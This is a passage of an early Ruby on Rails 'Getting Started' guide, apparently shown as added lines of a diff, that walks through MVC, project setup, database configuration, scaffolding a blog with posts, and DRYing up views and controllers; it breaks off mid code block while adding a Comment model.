+Rails is _opinionated software_. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.
+
+The Rails philosophy includes several guiding principles:
+
+* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
+* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than letting you tweak every little thing through endless configuration files.
+* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go.
+
+=== The MVC Architecture
+
+Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:
+
+* Isolation of business logic from the user interface
+* Ease of keeping code DRY
+* Making it clear where different types of code belong for easier maintenance
+
+==== Models
+
+A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models.
+
+==== Views
+
+Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.
+
+==== Controllers
+
+Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.
+
+=== The Components of Rails
+
+Rails provides a full stack of components for creating web applications, including:
+
+* Action Controller
+* Action View
+* Active Record
+* Action Mailer
+* Active Resource
+* Railties
+* Active Support
+
+==== Action Controller
+
+Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.
+
+==== Action View
+
+Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.
+
+==== Active Record
+
+Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.
+
+==== Action Mailer
+
+Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.
+
+==== Active Resource
+
+Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.
+
+==== Railties
+
+Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.
+
+==== Active Support
+
+Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications. 
+
+=== REST
+
+The foundation of the RESTful architecture is generally considered to be Roy Fielding's doctoral thesis, link:http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm[Architectural Styles and the Design of Network-based Software Architectures]. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
+
+* Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
+* Transferring representations of the state of that resource between system components. 
+
+For example, to a Rails application a request such as this:
+
++DELETE /photos/17+
+
+would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.
+
+If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:
+
+* link:http://www.infoq.com/articles/rest-introduction[A Brief Introduction to REST] by Stefan Tilkov
+* link:http://bitworking.org/news/373/An-Introduction-to-REST[An Introduction to REST] (video tutorial) by Joe Gregorio
+* link:http://en.wikipedia.org/wiki/Representational_State_Transfer[Representational State Transfer] article in Wikipedia
+
+== Creating a New Rails Project
+
+If you follow this guide, you'll create a Rails project called +blog+, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.
+
+=== Installing Rails
+
+In most cases, the easiest way to install Rails is to take advantage of RubyGems:
+
+[source, shell]
+-------------------------------------------------------
+$ gem install rails
+-------------------------------------------------------
+
+NOTE: There are some special circumstances in which you might want to use an alternate installation strategy:
+
+* If you're working on Windows, you may find it easier to install link:http://instantrails.rubyforge.org/wiki/wiki.pl[Instant Rails]. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
+* If you want to keep up with cutting-edge changes to Rails, you'll want to clone the link:http://github.com/rails/rails/tree/master[Rails source code] from github. This is not recommended as an option for beginners, though.
+
+=== Creating the Blog Application
+
+Open a terminal, navigate to a folder where you have rights to create files, and type:
+
+[source, shell]
+-------------------------------------------------------
+$ rails blog
+-------------------------------------------------------
+
+This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:
+
+[source, shell]
+-------------------------------------------------------
+$ rails blog -d mysql
+-------------------------------------------------------
+
+And if you're using PostgreSQL for data storage, run this command:
+
+[source, shell]
+-------------------------------------------------------
+$ rails blog -d postgresql
+-------------------------------------------------------
+
+In any case, Rails will create a folder in your working directory called +blog+. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the +app/+ folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default:
+
+[grid="all"]
+`-----------`-----------------------------------------------------------------------------------------------------------------------------
+File/Folder Purpose
+------------------------------------------------------------------------------------------------------------------------------------------
++README+		This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.
++Rakefile+	This file contains batch jobs that can be run from the terminal.
++app/+		Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.
++config/+		Configure your application's runtime rules, routes, database, and more.
++db/+			Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.
++doc/+		In-depth documentation for your application.
++lib/+		Extended modules for your application (not covered in this guide).
++log/+		Application log files.
++public/+		The only folder seen to the world as-is.  This is where your images, javascript, stylesheets (CSS), and other static files go.
++script/+		Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.
++test/+		Unit tests, fixtures, and other test apparatus. These are covered in link:../testing_rails_applications.html[Testing Rails Applications]
++tmp/+		Temporary files
++vendor/+		A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.
+-------------------------------------------------------------------------------------------------------------------------------------------
+
+=== Configuring a Database
+
+Just about every Rails application will interact with a database. The database to use is specified in a configuration file, +config/database.yml+.
+If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:
+
+* The +development+ environment is used on your development computer as you interact manually with the application
+* The +test+ environment is used to run automated tests
+* The +production+ environment is used when you deploy your application for the world to use.
+
+==== Configuring a SQLite Database
+
+Rails comes with built-in support for link:http://www.sqlite.org/[SQLite], which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.
+
+Here's the section of the default configuration file with connection information for the development environment:
+
+[source, ruby]
+-------------------------------------------------------
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  timeout: 5000
+-------------------------------------------------------
+
+If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:
+
+If you're not running OS X 10.5 or greater, you'll need to install the SQLite gem.  Similar to installing Rails you just need to run:
+
+[source, shell]
+-------------------------------------------------------
+$ gem install sqlite3-ruby
+-------------------------------------------------------
+
+==== Configuring a MySQL Database
+
+If you choose to use MySQL, your +config/database.yml+ will look a little different. Here's the development section:
+
+[source, ruby]
+-------------------------------------------------------
+development:
+  adapter: mysql
+  encoding: utf8
+  database: blog_development
+  username: root
+  password:
+  socket: /tmp/mysql.sock
+-------------------------------------------------------
+If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate.
+
+==== Configuring a PostgreSQL Database
+
+If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases:
+
+[source, ruby]
+-------------------------------------------------------
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: blog_development
+  username: blog
+  password:
+-------------------------------------------------------
+
+Change the username and password in the +development+ section as appropriate.
+
+== Hello, Rails!
+
+One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:
+
+[source, shell]
+-------------------------------------------------------
+$ script/generate controller home index
+-------------------------------------------------------
+
+TIP: If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +script+ commands to Ruby: +ruby script/generate controller home index+.
+
+Rails will create several files for you, including +app/views/home/index.html.erb+. This is the template that will be used to display the results of the +index+ action (method) in the +home+ controller. Open this file in your text editor and edit it to contain a single line of code:
+
+[source, html]
+-------------------------------------------------------
+<h1>Hello, Rails!</h1>
+-------------------------------------------------------
+
+=== Starting up the Web Server
+
+You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:
+
+[source, shell]
+-------------------------------------------------------
+$ script/server
+-------------------------------------------------------
+
+This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to +http://localhost:3000+. You should see Rails' default information page:
+
+image:images/rails_welcome.png[Welcome Aboard screenshot]
+
+TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.
+
+The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to +http://localhost:3000/home/index+.
+
+=== Setting the Application Home Page
+
+You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application:
+
+[source, shell]
+-------------------------------------------------------
+$ rm public/index.html
+-------------------------------------------------------
+
+Now, you have to tell Rails where your actual home page is located. Open the file +config/routes.rb+ in your editor. This is your application's, _routing file_, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the _default routes_:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect ':controller/:action/:id'
+map.connect ':controller/:action/:id.:format'
+-------------------------------------------------------
+
+The default routes handle simple requests such as +/home/index+: Rails translates that into a call to the +index+ action in the +home+ controller. As another example, +/posts/edit/1+ would run the +edit+ action in the +posts+ controller with an +id+ of 1.
+
+To hook up your home page, you need to add another line to the routing file, above the default routes:
+
+[source, ruby]
+-------------------------------------------------------
+map.root :controller => "home"
+-------------------------------------------------------
+
+This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the +index+ action.
+
+Now if you navigate to +http://localhost:3000+ in your browser, you'll see the +home/index+ view.
+
+NOTE: For more information about routing, refer to link:../routing_outside_in.html[Rails Routing from the Outside In].
+
+== Getting Up and Running Quickly With Scaffolding
+
+Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job. 
+
+== Creating a Resource
+
+In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:
+
+[source, shell]
+-------------------------------------------------------
+$ script/generate scaffold Post name:string title:string content:text
+-------------------------------------------------------
+
+NOTE: While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.
+
+The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:
+
+[grid="all"]
+`---------------------------------------------`--------------------------------------------------------------------------------------------
+File                                          Purpose
+------------------------------------------------------------------------------------------------------------------------------------------
+app/models/post.rb                            The Post model
+db/migrate/20081013124235_create_posts.rb     Migration to create the posts table in your database (your name will include a different timestamp)
+app/views/posts/index.html.erb                A view to display an index of all posts 
+app/views/posts/show.html.erb                 A view to display a single post
+app/views/posts/new.html.erb                  A view to create a new post
+app/views/posts/edit.html.erb                 A view to edit an existing post
+app/views/layouts/posts.html.erb              A view to control the overall look and feel of the other posts views
+public/stylesheets/scaffold.css               Cascading style sheet to make the scaffolded views look better
+app/controllers/posts_controller.rb           The Posts controller
+test/functional/posts_controller_test.rb      Functional testing harness for the posts controller
+app/helpers/posts_helper.rb                   Helper functions to be used from the posts views
+config/routes.rb                              Edited to include routing information for posts
+test/fixtures/posts.yml                       Dummy posts for use in testing
+test/unit/post_test.rb                        Unit testing harness for the posts model
+-------------------------------------------------------------------------------------------------------------------------------------------
+
+=== Running a Migration
+
+One of the products of the +script/generate scaffold+ command is a _database migration_. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.
+
+If you look in the +db/migrate/20081013124235_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find:
+
+[source, ruby]
+-------------------------------------------------------
+class CreatePosts < ActiveRecord::Migration
+  def self.up
+    create_table :posts do |t|
+      t.string :name
+      t.string :title
+      t.text :content
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :posts
+  end
+end
+-------------------------------------------------------
+
+If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the link:../migrations.html[Rails Database Migrations] guide.
+
+At this point, you need to do two things: create the database and run the migration. You can use rake commands at the terminal for both of those tasks:
+
+[source, shell]
+-------------------------------------------------------
+$ rake db:create
+$ rake db:migrate
+-------------------------------------------------------
+
+NOTE: Because you're working in the development environment by default, both of these commands will apply to the database defined in the +development+ section of your +config/database.yml+ file.
+
+=== Adding a Link
+
+To hook the posts up to the home page you've already created, you can add a link to the home page. Open +/app/views/home/index.html.erb+ and modify it as follows:
+
+[source, ruby]
+-------------------------------------------------------
+<h1>Hello, Rails!</h1>
+
+<%= link_to "My Blog", posts_path %>
+-------------------------------------------------------
+
+The +link_to+ method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.
+
+=== Working with Posts in the Browser
+
+Now you're ready to start working with posts. To do that, navigate to +http://localhost:3000+ and then click the "My Blog" link:
+
+image:images/posts_index.png[Posts Index screenshot]
+
+This is the result of Rails rendering the +index+ view of your posts. There aren't currently any posts in the database, but if you click the +New Post+ link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single +script/generate scaffold+ command.
+
+TIP: In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.
+
+Congratulations, you're riding the rails! Now it's time to see how it all works.
+
+=== The Model
+
+The model file, +app/models/post.rb+ is about as simple as it can get:
+
+[source, ruby]
+-------------------------------------------------------
+class Post < ActiveRecord::Base
+end
+-------------------------------------------------------
+
+There isn't much to this file - but note that the +Post+ class inherits from +ActiveRecord::Base+. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.
+
+=== Adding Some Validation
+
+Rails includes methods to help you validate the data that you send to models. Open the +app/models/post.rb+ file and edit it:
+
+[source, ruby]
+-------------------------------------------------------
+class Post < ActiveRecord::Base
+  validates_presence_of :name, :title
+  validates_length_of :title, :minimum => 5
+end
+-------------------------------------------------------
+
+These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.
+
+=== Using the Console
+
+To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:
+
+[source, shell]
+-------------------------------------------------------
+$ script/console
+-------------------------------------------------------
+
+After the console loads, you can use it to work with your application's models:
+
+[source, shell]
+-------------------------------------------------------
+>> p = Post.create(:content => "A new post")
+=> #<Post id: nil, name: nil, title: nil, content: "A new post", 
+created_at: nil, updated_at: nil>
+>> p.save
+=> false
+>> p.errors
+=> #<ActiveRecord::Errors:0x23bcf0c @base=#<Post id: nil, name: nil, 
+title: nil, content: "A new post", created_at: nil, updated_at: nil>, 
+ at errors={"name"=>["can't be blank"], "title"=>["can't be blank", 
+"is too short (minimum is 5 characters)"]}>
+-------------------------------------------------------
+
+This code shows creating a new +Post+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the post.
+
+TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes, type +reload!+ at the console prompt to load them.
+
+=== Listing All Posts
+
+The easiest place to start looking at functionality is with the code that lists all posts. Open the file +app/controllers/posts_controller.rb + and look at the +index+ action:
+
+[source, ruby]
+-------------------------------------------------------
+def index
+  @posts = Post.find(:all)
+
+  respond_to do |format|
+    format.html # index.html.erb
+    format.xml  { render :xml => @posts }
+  end
+end
+-------------------------------------------------------
+
+This code sets the + at posts+ instance variable to an array of all posts in the database. +Post.find(:all)+ or +Post.all+ calls the +Post+ model to return all of the posts that are currently in the database, with no limiting conditions.
+
+TIP: For more information on finding records with Active Record, see link:../finders.html[Active Record Finders].
+
+The +respond_to+ block handles both HTML and XML calls to this action. If you browse to +http://localhost:3000/posts.xml+, you'll see all of the posts in XML format. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/view/posts/index.html.erb+:
+
+[source, ruby]
+-------------------------------------------------------
+<h1>Listing posts</h1>
+
+<table>
+  <tr>
+    <th>Name</th>
+    <th>Title</th>
+    <th>Content</th>
+  </tr>
+
+<% for post in @posts %>
+  <tr>
+    <td><%=h post.name %></td>
+    <td><%=h post.title %></td>
+    <td><%=h post.content %></td>
+    <td><%= link_to 'Show', post %></td>
+    <td><%= link_to 'Edit', edit_post_path(post) %></td>
+    <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td>
+  </tr>
+<% end %>
+</table>
+
+<br />
+
+<%= link_to 'New post', new_post_path %>
+-------------------------------------------------------
+
+This view iterates over the contents of the + at posts+ array to display content and links. A few things to note in the view:
+
+* +h+ is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks
+* +link_to+ builds a hyperlink to a particular destination
+* +edit_post_path+ is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes.
+
+TIP: For more details on the rendering process, see link:../layouts_and_rendering.html[Layouts and Rendering in Rails].
+
+=== Customizing the Layout
+
+The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of +layouts+, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The +script/generate scaffold+ command automatically created a default layout, +app/views/layouts/posts.html.erb+, for the posts. Open this layout in your editor and modify the +body+ tag:
+
+[source, ruby]
+-------------------------------------------------------
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
+  <title>Posts: <%= controller.action_name %></title>
+  <%= stylesheet_link_tag 'scaffold' %>
+</head>
+<body style="background: #EEEEEE;">
+
+<p style="color: green"><%= flash[:notice] %></p>
+
+<%= yield  %>
+
+</body>
+</html>
+-------------------------------------------------------
+
+Now when you refresh the +/posts+ page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.
+
+=== Creating New Posts
+
+Creating a new post involves two actions. The first is the +new+ action, which instantiates an empty +Post+ object:
+
+[source, ruby]
+-------------------------------------------------------
+def new
+  @post = Post.new
+
+  respond_to do |format|
+    format.html # new.html.erb
+    format.xml  { render :xml => @post }
+  end
+end
+-------------------------------------------------------
+
+The +new.html.erb+ view displays this empty Post to the user:
+
+[source, ruby]
+-------------------------------------------------------
+<h1>New post</h1>
+
+<% form_for(@post) do |f| %>
+  <%= f.error_messages %>
+
+  <p>
+    <%= f.label :name %><br />
+    <%= f.text_field :name %>
+  </p>
+  <p>
+    <%= f.label :title %><br />
+    <%= f.text_field :title %>
+  </p>
+  <p>
+    <%= f.label :content %><br />
+    <%= f.text_area :content %>
+  </p>
+  <p>
+    <%= f.submit "Create" %>
+  </p>
+<% end %>
+
+<%= link_to 'Back', posts_path %>
+-------------------------------------------------------
+
+The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, +f.text_field :name+ tells Rails to create a text input on the form, and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.
+
+TIP: If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the +form_tag+ method, which provides shortcuts for building forms that are not necessarily tied to a model instance.
+
+When the user clicks the +Create+ button on this form, the browser will send information back to the +create+ method of the controller (Rails knows to call the +create+ method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier):
+
+[source, ruby]
+-------------------------------------------------------
+def create
+  @post = Post.new(params[:post])
+
+  respond_to do |format|
+    if @post.save
+      flash[:notice] = 'Post was successfully created.'
+      format.html { redirect_to(@post) }
+      format.xml  { render :xml => @post, :status => :created, :location => @post }
+    else
+      format.html { render :action => "new" }
+      format.xml  { render :xml => @post.errors, :status => :unprocessable_entity }
+    end
+  end
+end
+-------------------------------------------------------
+
+The +create+ action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the +params+ hash. After saving the new post, it uses +flash[:notice]+ to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the +create+ action just shows the +new+ view a second time, with any error messages.
+
+Rails provides the +flash+ hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request.  In the case of +create+, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created."
+
+=== Showing an Individual Post
+
+When you click the +show+ link for a post on the index page, it will bring you to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. Here's the +show+ action:
+
+[source, ruby]
+-------------------------------------------------------
+def show
+  @post = Post.find(params[:id])
+
+  respond_to do |format|
+    format.html # show.html.erb
+    format.xml  { render :xml => @post }
+  end
+end
+-------------------------------------------------------
+
+The +show+ action uses +Post.find+ to search for a single record in the database by its id value. After finding the record, Rails displays it by using +show.html.erb+:
+
+[source, ruby]
+-------------------------------------------------------
+<p>
+  <b>Name:</b>
+  <%=h @post.name %>
+</p>
+
+<p>
+  <b>Title:</b>
+  <%=h @post.title %>
+</p>
+
+<p>
+  <b>Content:</b>
+  <%=h @post.content %>
+</p>
+
+
+<%= link_to 'Edit', edit_post_path(@post) %> |
+<%= link_to 'Back', posts_path %>
+-------------------------------------------------------
+
+=== Editing Posts
+
+Like creating a new post, editing a post is a two-part process. The first step is a request to +edit_post_path(@post)+ with a particular post. This calls the +edit+ action in the controller:
+
+[source, ruby]
+-------------------------------------------------------
+def edit
+  @post = Post.find(params[:id])
+end
+-------------------------------------------------------
+
+After finding the requested post, Rails uses the +edit.html.erb+ view to display it:
+
+[source, ruby]
+-------------------------------------------------------
+<h1>Editing post</h1>
+
+<% form_for(@post) do |f| %>
+  <%= f.error_messages %>
+
+  <p>
+    <%= f.label :name %><br />
+    <%= f.text_field :name %>
+  </p>
+  <p>
+    <%= f.label :title %><br />
+    <%= f.text_field :title %>
+  </p>
+  <p>
+    <%= f.label :content %><br />
+    <%= f.text_area :content %>
+  </p>
+  <p>
+    <%= f.submit "Update" %>
+  </p>
+<% end %>
+
+<%= link_to 'Show', @post %> |
+<%= link_to 'Back', posts_path %>
+-------------------------------------------------------
+
+Submitting the form created by this view will invoke the +update+ action within the controller:
+
+[source, ruby]
+-------------------------------------------------------
+def update
+  @post = Post.find(params[:id])
+
+  respond_to do |format|
+    if @post.update_attributes(params[:post])
+      flash[:notice] = 'Post was successfully updated.'
+      format.html { redirect_to(@post) }
+      format.xml  { head :ok }
+    else
+      format.html { render :action => "edit" }
+      format.xml  { render :xml => @post.errors, :status => :unprocessable_entity }
+    end
+  end
+end
+-------------------------------------------------------
+
+In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The +update_attributes+ call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's +show+ view. If there are any problems, it's back to +edit+ to correct them.
+
+NOTE: Sharp-eyed readers will have noticed that the +form_for+ declaration is identical for the +new+ and +edit+ views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a _partial template_, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for +create+ and +edit+.
+
+=== Destroying a Post
+
+Finally, clicking one of the +destroy+ links sends the associated id to the +destroy+ action:
+
+[source, ruby]
+-------------------------------------------------------
+def destroy
+  @post = Post.find(params[:id])
+  @post.destroy
+
+  respond_to do |format|
+    format.html { redirect_to(posts_url) }
+    format.xml  { head :ok }
+  end
+end
+-------------------------------------------------------
+
+The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model.
+
+== DRYing up the Code
+
+At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use _partials_ to clean up duplication in views and _filters_ to help with duplication in controllers.
+
+=== Using Partials to Eliminate View Duplication
+
+As you saw earlier, the scaffold-generated views for the +new+ and +edit+ actions are largely identical. You can pull the shared code out into a +partial+ template. This requires editing the new and edit views, and adding a new template:
+
++new.html.erb+:
+
+[source, ruby]
+-------------------------------------------------------
+<h1>New post</h1>
+
+<%= render :partial => "form" %>
+
+<%= link_to 'Back', posts_path %>
+-------------------------------------------------------
+
++edit.html.erb+:
+
+[source, ruby]
+-------------------------------------------------------
+<h1>Editing post</h1>
+
+<%= render :partial => "form" %>
+
+<%= link_to 'Show', @post %> |
+<%= link_to 'Back', posts_path %>
+-------------------------------------------------------
+
++_form.html.erb+:
+
+[source, ruby]
+-------------------------------------------------------
+<% form_for(@post) do |f| %>
+  <%= f.error_messages %>
+
+  <p>
+    <%= f.label :name %><br />
+    <%= f.text_field :name %>
+  </p>
+  <p>
+    <%= f.label :title, "title" %><br />
+    <%= f.text_field :title %>
+  </p>
+  <p>
+    <%= f.label :content %><br />
+    <%= f.text_area :content %>
+  </p>
+  <p>
+    <%= f.submit "Save" %>
+  </p>
+<% end %>
+-------------------------------------------------------
+
+Now, when Rails renders the +new+ or +edit+ view, it will insert the +_form+ partial at the indicated point. Note the naming convention for partials: if you refer to a partial named +form+ inside of a view, the corresponding file is +_form.html.erb+, with a leading underscore.
+
+For more information on partials, refer to the link:../layouts_and_rendering.html[Layouts and Rending in Rails] guide.
+
+=== Using Filters to Eliminate Controller Duplication
+
+At this point, if you look at the controller for posts, you’ll see some duplication:
+
+[source, ruby]
+-------------------------------------------------------
+class PostsController < ApplicationController
+  # ...
+  def show
+    @post = Post.find(params[:id])
+	# ... 
+  end
+
+  def edit
+    @post = Post.find(params[:id])
+  end
+
+  def update
+    @post = Post.find(params[:id])
+    # ...
+  end
+
+  def destroy
+    @post = Post.find(params[:id])
+    # ...
+  end
+end
+-------------------------------------------------------
+
+Four instances of the exact same line of code doesn’t seem very DRY. Rails provides _filters_ as a way to address this sort of repeated code. In this case, you can DRY things up by using a +before_filter+:
+
+[source, ruby]
+-------------------------------------------------------
+class PostsController < ApplicationController
+  before_filter :find_post, :only => [:show, :edit, :update, :destroy]
+  # ...
+  def show
+	# ... 
+  end
+
+  def edit
+  end
+
+  def update
+    # ...
+  end
+
+  def destroy
+    # ...
+  end
+
+  private
+    def find_post
+      @post = Post.find(params[:id])
+    end
+end
+-------------------------------------------------------
+
+Rails runs _before filters_ before any action in the controller. You can use the +:only+ clause to limit a before filter to only certain actions, or an +:except+ clause to specifically skip a before filter for certain actions. Rails also allows you to define _after filters_ that run after processing an action, as well as _around filters_ that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.
+
+For more information on filters, see the link:actioncontroller_basics.html[Action Controller Basics] guide.
+
+== Adding a Second Model
+
+Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts.
+
+=== Generating a Model 
+
+Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:
+
+[source, shell]
+-------------------------------------------------------
+$ script/generate model Comment commenter:string body:text post:references
+-------------------------------------------------------
+
+This command will generate four files:
+
+* +app/models/comment.rb+ - The model
+* +db/migrate/20081013214407_create_comments.rb - The migration
+* +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness.
+
+First, take a look at +comment.rb+:
+
+[source, ruby]
+-------------------------------------------------------
+class Comment < ActiveRecord::Base
+  belongs_to :post
+end
+-------------------------------------------------------
+
+This is very similar to the +post.rb+ model that you saw earlier. The difference is the line +belongs_to :post+, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide.
+
+In addition to the model, Rails has also made a migration to create the corresponding database table:
+
+[source, ruby]
+-------------------------------------------------------
+class CreateComments < ActiveRecord::Migration
+  def self.up
+    create_table :comments do |t|
+      t.string :commenter
+      t.text :body
+      t.references :post
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :comments
+  end
+end
+-------------------------------------------------------
+
+The +t.references+ line sets up a foreign key column for the association between the two models. Go ahead and run the migration:
+
+[source, shell]
+-------------------------------------------------------
